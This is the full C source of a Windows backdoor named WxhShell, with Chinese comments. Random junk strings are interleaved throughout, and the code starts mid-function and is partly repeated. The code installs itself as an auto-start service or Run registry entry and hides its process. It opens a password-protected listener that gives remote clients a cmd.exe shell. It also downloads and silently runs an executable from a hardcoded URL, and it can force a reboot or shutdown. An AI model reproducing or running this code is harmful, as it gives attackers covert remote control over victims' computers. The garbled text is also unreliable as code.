Du/c }?[];FB HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gM96RY if(NULL == hInst ) return 0; NaR} 0 |MNSIb&,W g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rto?*^N? g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HUKrp*Hv NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EX)&|2w
Ez1eGPVr if (!NtQueryInformationProcess) return 0; 9<mMU: Wn<?_}sa|z hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A7 RI&g
v5 if(!hProcess) return 0; *HrEh;3^J }*x1e_m}H if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QqM[W/&R P(T-2Ux6 CloseHandle(hProcess); I~7iIUD 'FW?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f 3UCELJ if(hProcess==NULL) return 0; KhjC'CU, `Vvi]>,cg` HMODULE hMod; !)a_@d.;i char procName[255]; )fJ"Hq unsigned long cbNeeded; Du_5iuMh ay8]"sa if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cAR
`{%b MlV(XG>' CloseHandle(hProcess); .n\JY;" xe@e#9N$ if(strstr(procName,"services")) return 1; // 以服务启动 @eYpARF #:6-O return 0; // 注册表启动 7Ae`>5B# } X,Ql6uO D||0c"E // 主模块 LOU P int StartWxhshell(LPSTR lpCmdLine) BlJiHz! { oidZWy SOCKET wsl; Jm_)}dj3o BOOL val=TRUE; '_v~+ int port=0; IO)Y0J>x struct sockaddr_in door; qda 2 ebA:Sq:w if(wscfg.ws_autoins) Install(); t<rIg1 F5?S8=i port=atoi(lpCmdLine); :8b'HhjM 6A"$9sj6 if(port<=0) port=wscfg.ws_port; oU=vl!\J Y"FV#<9@7E WSADATA data; gWj-@o\ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N,Y)'s< w$
8r<?^3 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; cSt)Na~C setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e!VtDJDS door.sin_family = AF_INET; R3B+vLGX door.sin_addr.s_addr = inet_addr("127.0.0.1"); qO{z{@jo55 door.sin_port = htons(port); ` GF w?G P<pv@l9) if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~b_DFj closesocket(wsl); 'rhgM/I return 1; Lu#q o^ } ,z&S;f.f <rzP if(listen(wsl,2) == INVALID_SOCKET) { Lc!2'Do; closesocket(wsl); }nrjA0WN return 1; +&.zwniSS } 15ailA&(Qm Wxhshell(wsl); fRS;6Jc WSACleanup(); Cm[}DB 3)G~ud return 0; _xKn2 ?d8g uj.i(Us } P%|~Ni_BTX ]N'3jf`W // 以NT服务方式启动 K P]ar. VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hYoUZ'4 { jOGdq;| DWORD status = 0; <-I69` DWORD specificError = 0xfffffff; --$* q"
%bnXZA2Sx serviceStatus.dwServiceType = SERVICE_WIN32; svpQ.Q serviceStatus.dwCurrentState = SERVICE_START_PENDING; H<d~AurX)J serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m?w_
] serviceStatus.dwWin32ExitCode = 0; m. pm, serviceStatus.dwServiceSpecificExitCode = 0; P&0eu serviceStatus.dwCheckPoint = 0; w/|&N>ZOx serviceStatus.dwWaitHint = 0; K6DN>0sY =|oi0 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %]+R>+ if (hServiceStatusHandle==0) return; "3RFyi fZiAl7b! status = GetLastError();
VWft/2p~ if (status!=NO_ERROR) 5/"$_7"{a { (p>|e\(]0 serviceStatus.dwCurrentState = SERVICE_STOPPED; }n^Rcz6HeO serviceStatus.dwCheckPoint = 0; TIGtX]` serviceStatus.dwWaitHint = 0; $d*9]M4 serviceStatus.dwWin32ExitCode = status; "\wMs serviceStatus.dwServiceSpecificExitCode = specificError; 3E*|^* SetServiceStatus(hServiceStatusHandle, &serviceStatus); (=j;rfvP return; b~aM=71 } ](Fey0@ %,\JTN|g|A serviceStatus.dwCurrentState = SERVICE_RUNNING; J?o serviceStatus.dwCheckPoint = 0; qb? <u serviceStatus.dwWaitHint = 0; Q^b& if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "D'e } Yw|v5/> hl1IG
! // 处理NT服务事件,比如:启动、停止 8^>qor.]M VOID WINAPI NTServiceHandler(DWORD fdwControl) /2p*uv}IP { ) H,Xkex switch(fdwControl) = wz}yfdrC { g~DuK|+ case SERVICE_CONTROL_STOP: | N/d} serviceStatus.dwWin32ExitCode = 0; g* YDgY serviceStatus.dwCurrentState = SERVICE_STOPPED; J5{;+ysUMl serviceStatus.dwCheckPoint = 0; a0|hLqI serviceStatus.dwWaitHint = 0; -Q20af- { 1'&.6{)P SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z|t=t"6" } JI>Y?1i0O return; $cSUB case SERVICE_CONTROL_PAUSE: }a;xs};X; serviceStatus.dwCurrentState = SERVICE_PAUSED; B%tF|KKj break; $7q3[skH case SERVICE_CONTROL_CONTINUE: 4aHogheg serviceStatus.dwCurrentState = SERVICE_RUNNING; neFwxS? break; +4 k=Y case SERVICE_CONTROL_INTERROGATE: 'D21A8*N break; {;{U@Z }; z$Jm1l SetServiceStatus(hServiceStatusHandle, &serviceStatus); YY;<y%:8Z } N`W[Q>n DP{nvsF // 标准应用程序主函数 ` @ QZK0Ox int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e?W
,D0h { 7DAP_C %axr@o[ // 获取操作系统版本 >eTbg"\ OsIsNt=GetOsVer(); P<vl+&* GetModuleFileName(NULL,ExeFile,MAX_PATH); >+{WiZ` Ksx-Y" // 从命令行安装 =mYf]
PIX if(strpbrk(lpCmdLine,"iI")) Install(); xSudDhRP Xl4}S"a // 下载执行文件 cKVFykwM if(wscfg.ws_downexe) { owIpn=8|Q if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fOi
Rstci WinExec(wscfg.ws_filenam,SW_HIDE); ]?}>D?5 } VlV
X T<n`i~~ if(!OsIsNt) { xX&B&"]5 // 如果时win9x,隐藏进程并且设置为注册表启动 Jj=qC{] HideProc(); KZ 5%q. StartWxhshell(lpCmdLine); AqgY*"A7 } >/n];fl>8 else 8"&!3_ if(StartFromService()) d27q,2f! // 以服务方式启动 f\2IKpF2 StartServiceCtrlDispatcher(DispatchTable); 4kL6aSqT else 'maX // 普通方式启动 s, Gl{ StartWxhshell(lpCmdLine); BHr ,jC \WiCI: return 0; T1C_L?L } :Q`Of}# pB:XNkxL E
ASnh JSB+g; =========================================== H@(O{ 9Yl; 3H,x4L5j `Abd=1nH 5M>h[Q"R j-9)Sijj{ -@XSDfy7S " pN^g. #aX#gh}1
#include <stdio.h> Z1,rN#p9 #include <string.h> nL?P/ \ #include <windows.h> Z=&|__+d #include <winsock2.h> [KA^+n #include <winsvc.h> |"}rdOV) #include <urlmon.h> iDDJJ>F26 sRt7.fe #pragma comment (lib, "Ws2_32.lib") TJv .T2| #pragma comment (lib, "urlmon.lib") tl_3 %$s 7{<v$g$ #define MAX_USER 100 // 最大客户端连接数 0)|Z7c& #define BUF_SOCK 200 // sock buffer H8YwMhE7 #define KEY_BUFF 255 // 输入 buffer DZqG7p$u4i y7+@
v' #define REBOOT 0 // 重启 5M=U*BI #define SHUTDOWN 1 // 关机 DQ8/]Z{H 0h1u W26^ #define DEF_PORT 5000 // 监听端口 x+Yo#u22 yhKH}
kR #define REG_LEN 16 // 注册表键长度 uUjjAGZ #define SVC_LEN 80 // NT服务名长度 J'2 Yrn |YLja87 // 从dll定义API &MH8~LSb typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O\Huj= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J=-z~\f56 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;87PP7~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6'r;6T * {|oWU8.l // wxhshell配置信息 -Mr_Ao`E struct WSCFG { B=O zP+ int ws_port; // 监听端口 WD%(RC"Q char ws_passstr[REG_LEN]; // 口令 DCp8rvUI int ws_autoins; // 安装标记, 1=yes 0=no P6_Hz!vE char ws_regname[REG_LEN]; // 注册表键名 e[iv"|+
char ws_svcname[REG_LEN]; // 服务名 y^H5iB[SPL char ws_svcdisp[SVC_LEN]; // 服务显示名 N'y<<tTA char ws_svcdesc[SVC_LEN]; // 服务描述信息 N7s0Ua'-v char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Gbhw7
(& int ws_downexe; // 下载执行标记, 1=yes 0=no - ;gQy[U char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '=;e#
C`<{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F`4W5~` x:-NTW
-g }; :Fhk$?/r s={>{,E // default Wxhshell configuration KH,f'` struct WSCFG wscfg={DEF_PORT, w!"A$+~ "xuhuanlingzhe", Y%/RGYKh 1, `LoRudf_` "Wxhshell", 5=V"tQ&d9U "Wxhshell", J%"5?)[z "WxhShell Service", !BVCuuM>w "Wrsky Windows CmdShell Service", 'TYO-'aC "Please Input Your Password: ", lq.:/_m0 1, fDDpR= "http://www.wrsky.com/wxhshell.exe", <h#7;o "Wxhshell.exe" o1#3A }; HsYzIQLL |"K%Tvxe // 消息定义模块 Do(G;D`h+_ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '|gsmO char *msg_ws_prompt="\n\r? for help\n\r#>"; 7l7VT?<: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &/[MWQ char *msg_ws_ext="\n\rExit."; sq=EL+=j char *msg_ws_end="\n\rQuit."; b;
of9hY char *msg_ws_boot="\n\rReboot..."; Hx6ODj[- char *msg_ws_poff="\n\rShutdown..."; ]0'cdC char *msg_ws_down="\n\rSave to "; r??_2>Q E"*E[> char *msg_ws_err="\n\rErr!"; >h8m8J char *msg_ws_ok="\n\rOK!"; J,,VKA& 9U; char ExeFile[MAX_PATH]; XcNL\fl1 int nUser = 0; "<|KR{/+ HANDLE handles[MAX_USER]; |-6`S1. int OsIsNt; 8G)~#;x1 DSHvBFQ SERVICE_STATUS serviceStatus; ^GV'Y SERVICE_STATUS_HANDLE hServiceStatusHandle; =( ZOn=IL 8\;, d // 函数声明 /
^)3V} int Install(void); *Z"cXg^ti int Uninstall(void); 7Wef[N\x int DownloadFile(char *sURL, SOCKET wsh); =ttD5p int Boot(int flag); 0fstEExw void HideProc(void); nY MtK int GetOsVer(void); ]a.e;c- int Wxhshell(SOCKET wsl); ds`YVXKH void TalkWithClient(void *cs); GTB\95j] int CmdShell(SOCKET sock); }],l m int StartFromService(void); &wU"6E int StartWxhshell(LPSTR lpCmdLine); (!@gm)#h ^}2!fRKAmo VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Up%XBA VOID WINAPI NTServiceHandler( DWORD fdwControl ); "3jTU Ngx2N<$<*g // 数据结构和表定义 qy?$t:*pp SERVICE_TABLE_ENTRY DispatchTable[] = q/:]+ { &p#PYs|H {wscfg.ws_svcname, NTServiceMain}, j8M t"B {NULL, NULL} `~\SQ EY$ }; +h-% { kT
// 自我安装 *b~8`Opa` int Install(void) 8r>\scS { >7@,,~3 char svExeFile[MAX_PATH]; #SHJ0+)o HKEY key; /*gs] strcpy(svExeFile,ExeFile); {QG6ldI CV
HKP[- // 如果是win9x系统,修改注册表设为自启动 %wl:>9] if(!OsIsNt) { v9J1Hha# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w!*ZS~v/r RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m~;.kc RegCloseKey(key); U$DZht4>u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >lmqPuf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aVHID{Gf Z RegCloseKey(key); +uF}mZS^ return 0; \a0{9Xx F } fph+05.% } ^+%bh/2_W } J|jvqt9C else { % dFz[b a(IE8:yU` // 如果是NT以上系统,安装为系统服务 8=bn
TJf SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P;(@"gD8z5 if (schSCManager!=0) O_s/BoB@ { f.` 8vaV SC_HANDLE schService = CreateService :?EZ\WM7 ( Lm!]m\LRZD schSCManager, ox<6qW wscfg.ws_svcname, C:&Sk\
wscfg.ws_svcdisp, >~7XBb08 SERVICE_ALL_ACCESS, ((AK7hb SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mGg/F&G9 SERVICE_AUTO_START, {88|J'*L SERVICE_ERROR_NORMAL, [e\IHakj svExeFile, QDJ#zMxFD NULL, o *U-.& NULL, U*N{H$ACuR NULL, T/u61}'U{ NULL, m{>" NULL \+Qd=,!i( ); V!*1F1 if (schService!=0) [<
9%IGH { fb0)("_V CloseServiceHandle(schService); w&#[g9G% CloseServiceHandle(schSCManager);
d8 ~%(I9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r9-ayp#pC strcat(svExeFile,wscfg.ws_svcname); 0zr%8Q(Q if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N:'GNMu RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AzzHpfv, RegCloseKey(key); dj5|t~& return 0; L\#G#1x8 } u1kCvi#N } *Q2 oc:6 CloseServiceHandle(schSCManager); _UP 9b@Z" } ?$I9/r } ,;MUXCC' N DI4EA~z return 1; Q<szH1- } ,d!@5d&Zi Qhe<(<^J, // 自我卸载 IuFr:3( int Uninstall(void) TUGD!b{ { 82)=#ye_P HKEY key; MowAM+?^} 7CSn79E if(!OsIsNt) { ,6^Xn=o # if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {]|<|vc;GI RegDeleteValue(key,wscfg.ws_regname); GXLh(d!C RegCloseKey(key); uZf
6W<a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~tL:r=
RegDeleteValue(key,wscfg.ws_regname); r4K_Wp RegCloseKey(key); V"gKk$j7 return 0; E>#@
H } S,|ZCl>+ } J7dHD(R8 } 8t< X else { ,[N(XstI Q|VBH5}1O SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :
maBec) if (schSCManager!=0) n<)A5UB5- { 39[ylR|\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2ER_?y if (schService!=0) 37IHn6r\ { $\k)Y(& if(DeleteService(schService)!=0) { S^i8VYK,C5 CloseServiceHandle(schService); K5<2jl3S CloseServiceHandle(schSCManager); it>Bf; return 0; y%
!.:7Y } $zhvI*0 CloseServiceHandle(schService); >X[:(m' } 7[L%j;)bw CloseServiceHandle(schSCManager); %WP[V{,F } C\Ob!sv%H } )_Hv9!U]e
v9TIEmZ return 1; W4#DeT } ^K8XY@{& AfZGI'%4[a // 从指定url下载文件 \Lb wfd= int DownloadFile(char *sURL, SOCKET wsh) g rI#' x { ;K4=fHl HRESULT hr; l ~xXy< char seps[]= "/"; a3:45[SO4e char *token; D;48VK/Q char *file; Zy)iNNtn char myURL[MAX_PATH]; T1?9E{bC8A char myFILE[MAX_PATH]; xIb{*)BUwc xVI"sBUu strcpy(myURL,sURL); ?#doH, token=strtok(myURL,seps); ^?q(fK% while(token!=NULL) 9J_vvq`%` { ?J+*i
d file=token; GVf[H2%H token=strtok(NULL,seps); s/3sOb}sA } "N EKz 4__HH~j ?Q GetCurrentDirectory(MAX_PATH,myFILE); p vWj)4e strcat(myFILE, "\\");
t"~X6o|R strcat(myFILE, file); 1 K^-tms send(wsh,myFILE,strlen(myFILE),0); {65YTt% send(wsh,"...",3,0); G7GKO hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KB^GC5L> if(hr==S_OK) {~#01p5 return 0; )Fqtb;W= else (KvN#d 1\ return 1; tmeg=U7 3fE0cVG* } XCgC^c' gH"aMEC // 系统电源模块 zT!.5qd int Boot(int flag) VsL*&Fk { WhFE{-!gX HANDLE hToken; OzH\YN TOKEN_PRIVILEGES tkp; PVN`k, 4 tp ky if(OsIsNt) { E=bZ4 / OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n c.P LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xvWP^Qkb tkp.PrivilegeCount = 1; ,WoB)V.{( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "79b> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }`2+`w%uZ if(flag==REBOOT) { az}zoFl if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?<OyJ|;V return 0; rc`I l{~k } !0Ak)Q]e' else { A-^B?E if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hsK(09:J return 0; ZXbq5p_ } b+dmJ]c } HR else { h9nh9a(2 if(flag==REBOOT) { hA`9[58/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gxVJH'[V5 return 0; e9CvdR } wSALK)T1{ else { _jVJkg)] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,[_)BM return 0; G 8tK"LC } ZxDh!_[s } oChf&W 8u 2@&"*1(Xu return 1; 0'zjPE# } ~PN[ #e] gaU^l73,C // win9x进程隐藏模块 I'<sJs*p void HideProc(void) 5mZ9rLn { CWD
$\K G _JKz5hSl HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =wl0 if ( hKernel != NULL ) G+3uY25y { %2?"x*A pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )R@Y$*fm ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nXh<+7 FreeLibrary(hKernel); f\:I1y } Z#GR)jb+ \x_$Pu return; 0U2dNLc } On+0@hh B]>rcjD // 获取操作系统版本 ]go.IfH int GetOsVer(void) nF
'U* { :mdoGb$dr OSVERSIONINFO winfo; u^L_X A winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EYZ,GT-I GetVersionEx(&winfo); \qJ^n % if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &';@CeK return 1; ^w*vux|F else 8nSw7:z return 0; UwDoueXs } PJh97%7 '?E@H."" // 客户端句柄模块 X(>aW*q int Wxhshell(SOCKET wsl) D6P/39}W { Z~"8C Kz SOCKET wsh; 7z8 struct sockaddr_in client; 7#g<fh DWORD myID; O-+!KXHd[ fa/p while(nUser<MAX_USER) Q0""wRq' { Mi[,-8Sk int nSize=sizeof(client); ^687U,+ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T
zHR if(wsh==INVALID_SOCKET) return 1; oIKuo~
8KzH
- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _<)HFg6 if(handles[nUser]==0) =?hbi] closesocket(wsh); H|cxy?iJ else G?+]BIiL nUser++; mldY/;-H!1 } (`f)Tt=` WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ("J_< p {6wy}<ynC+ return 0; 9:Z|Z?>? } fydQaxCND ^Ov+n1,) // 关闭 socket <)gTi759h) void CloseIt(SOCKET wsh)
&y7~
{ dQ Ao~]B closesocket(wsh); M[&p[P@ nUser--; 6c[ L*1 ExitThread(0); Nbm$ta } PE+{<[n U9//m=_ // 客户端请求句柄 leJ3-w{ 2 void TalkWithClient(void *cs) /<IXCM. { Mwd.S 71HrpTl1fw SOCKET wsh=(SOCKET)cs; WQY\R!+ char pwd[SVC_LEN]; '/F~vSQsR char cmd[KEY_BUFF]; o@|kq1m8 char chr[1]; [i]%PVGW int i,j; ]Ai!G7s8P E._ [P/PB while (nUser < MAX_USER) { zS}!87r) X^.~f+d~ if(wscfg.ws_passstr) { 3T@`VFbE if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J2$=H1- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I,?!NzB //ZeroMemory(pwd,KEY_BUFF); 7FP
@ v ng i=0; +|spC while(i<SVC_LEN) { 8t&'Yk +
oNrc. // 设置超时 A:,V) fd_set FdRead; A@I3:V struct timeval TimeOut;
1);E!D[ FD_ZERO(&FdRead); El3Ayd3 FD_SET(wsh,&FdRead); i &,1 TimeOut.tv_sec=8; >
,P,{" TimeOut.tv_usec=0; f.U.( int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7, :l\t if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :N:e3$c ?B:],aztf if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4yR X{Bl| pwd=chr[0]; 8)&J oPN if(chr[0]==0xd || chr[0]==0xa) { !Y]%U @4} pwd=0; 7e<\11uI]a break; v7D3aWoe } KKJ a?e`C i++; ~ouRDO } #4?:4Im# U{-[lpd // 如果是非法用户,关闭 socket c}#(,<8X if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @-}!o&G0 } ny+_&l^R~( q3Y49d send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _1HEGX\ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !o/;"'&E ;?!pcv Ui while(1) { vjXCArS v1Jg8L= ZeroMemory(cmd,KEY_BUFF); SCD;(I~4 %J|xPp) // 自动支持客户端 telnet标准 5?gZw;yiv% j=0; ~2?UEv6 while(j<KEY_BUFF) { fZJ O} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \W})Z72 cmd[j]=chr[0]; 3a6 if(chr[0]==0xa || chr[0]==0xd) { Z`bo1,6> cmd[j]=0; SrSm%Dv break; yg@}j } M9sB2Ips< j++; K/XUF#^B] } 3x~AaC.j 15`,kJSK // 下载文件 }zV#?;} if(strstr(cmd,"http://")) { 3})0p send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1
,4V8gp if(DownloadFile(cmd,wsh)) &pLCN[a send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]7_O#MY1 else 97SG;,6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !fG`xZ~ } e!*%U=[Q else { [$(/H; ffE>%M* switch(cmd[0]) { JQWW's} vD4<G{ // 帮助 |m>n4-5QL case '?': { "]{"4qV1= send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8\ WOss)al break; ^Dhu8C( } r=pb7=M#LN // 安装 vE+OL8 V case 'i': { nXF|AeAco if(Install()) z6Jfu:_N! send(wsh,msg_ws_err,strlen(msg_ws_err),0);
H!ISQ8{V else (L6*#!Dt send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X~Vr} break; $8,/[V
A } -)ag9{ * // 卸载 H>2f M^ case 'r': { " ^:$7~%bA if(Uninstall()) |MXv
w6P send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 jeUYkJUM else Pxm~2PAm send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hFWK^]~ a break; Lg4I6 G } BHBMMjY5 // 显示 wxhshell 所在路径 *]_GFixi case 'p': { 4FgY!k char svExeFile[MAX_PATH]; `mTc strcpy(svExeFile,"\n\r"); r=ds'n" strcat(svExeFile,ExeFile); w~(x*R} send(wsh,svExeFile,strlen(svExeFile),0); VpMPTEZ*L break; b/Z0{38 } V2?&3Z)W // 重启 xd`!z`X!,s case 'b': { !56gJJ-r send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R]{AJ"p if(Boot(REBOOT)) [,fd Nxc8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); &$</|F)y else { Li;(~_62a] closesocket(wsh); i\?P>:) ExitThread(0); p;rGaLo:u } {1ic*cZS break; 35[8XD } X K5qE" // 关机 =
A !;`G case 'd': { t7p`A8& send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?I`ru:iG if(Boot(SHUTDOWN)) _('KNA~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); kDG'5X;+ else { |cBpX+D closesocket(wsh); *AU"FI>V ExitThread(0); -cHX3UAEI } ?geEq' break; O$=) } mJ|7Jc // 获取shell 8\^[@9g3\3 case 's': { k98}Jx7J)" CmdShell(wsh); L){rv)?=" closesocket(wsh); _8'F I_E3 ExitThread(0); P2Ja*!K] break; vK\;CSk
} y[l19eU // 退出 RZ[r XV5 case 'x': { )ccdfSe send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1Bz'$u;
CloseIt(wsh); FT*
o;&_QS break; jbqhNsTNK } ^Q?I8,4} // 离开 GBZx@B[TY case 'q': { =R^V[zTn_ send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?_F,HhQ closesocket(wsh); 0F<O \ WSACleanup(); w^&TG3m1~ exit(1); 4{\h53j$ break; ?)cNe:KY } $[Fh|%\ } ntSPHK|' } sS $- PX
C { [4Y(l1 // 提示信息 o"x&F if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |j
i}LWcD } G'z&U?Ng } 8P 3EQY- d*lnXzQor return; URW'*\Xjb } .Wq`qF(; 9k^;]jE // shell模块句柄 jBEt!Azur int CmdShell(SOCKET sock) q*ZjOqj { Iy](?b STARTUPINFO si; .JpYZ | ZeroMemory(&si,sizeof(si)); BcT|TX+ct si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1Ly?XNS si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )G6]r$M>o0 PROCESS_INFORMATION ProcessInfo; 2f]9I1{ char cmdline[]="cmd"; 2I'\o7Y CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Wv"[,5
Z13 return 0; 'Z7oPq6 } 'sm+3d VPf*>ph= // 自身启动模式 (o\:rLZu int StartFromService(void) '7W?VipU { m4nJ9<- typedef struct xnu|?;.}! { +MQf2|-- DWORD ExitStatus; A;h0BQm/j DWORD PebBaseAddress; I ,AI$A DWORD AffinityMask; 3yXF|
yV DWORD BasePriority; &,fBg6A% ULONG UniqueProcessId; ?#\?&uFJ} ULONG InheritedFromUniqueProcessId; SF;;4og } PROCESS_BASIC_INFORMATION; 8jjJ/Mz` -{ZTp8P> PROCNTQSIP NtQueryInformationProcess; f$k#\=2% ]P ->xJ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m\4jiR_o static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $Tq-<FbM) 2&]UFg:8Q HANDLE hProcess; EG0NikT? PROCESS_BASIC_INFORMATION pbi; /
GJ"##< j*$GP'Df3 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5RTAM if(NULL == hInst ) return 0; oa`,|dA" /+J?Ep(_ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F#iLMO&Q g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b9OT~i=S| NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y6;'?.Y1 Gz!72H if (!NtQueryInformationProcess) return 0; Gn;eh~uw;l +
&b`QcH< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `ivr$b# if(!hProcess) return 0; Uz H)fB gW6lMyiLb if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bs]ret$?(q |zvxKIW;wd CloseHandle(hProcess); y3$'
gu| \x x<\8Qr_ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5D]%E?ag if(hProcess==NULL) return 0; ~/\;7E{8! 9GkG' HMODULE hMod; s iv
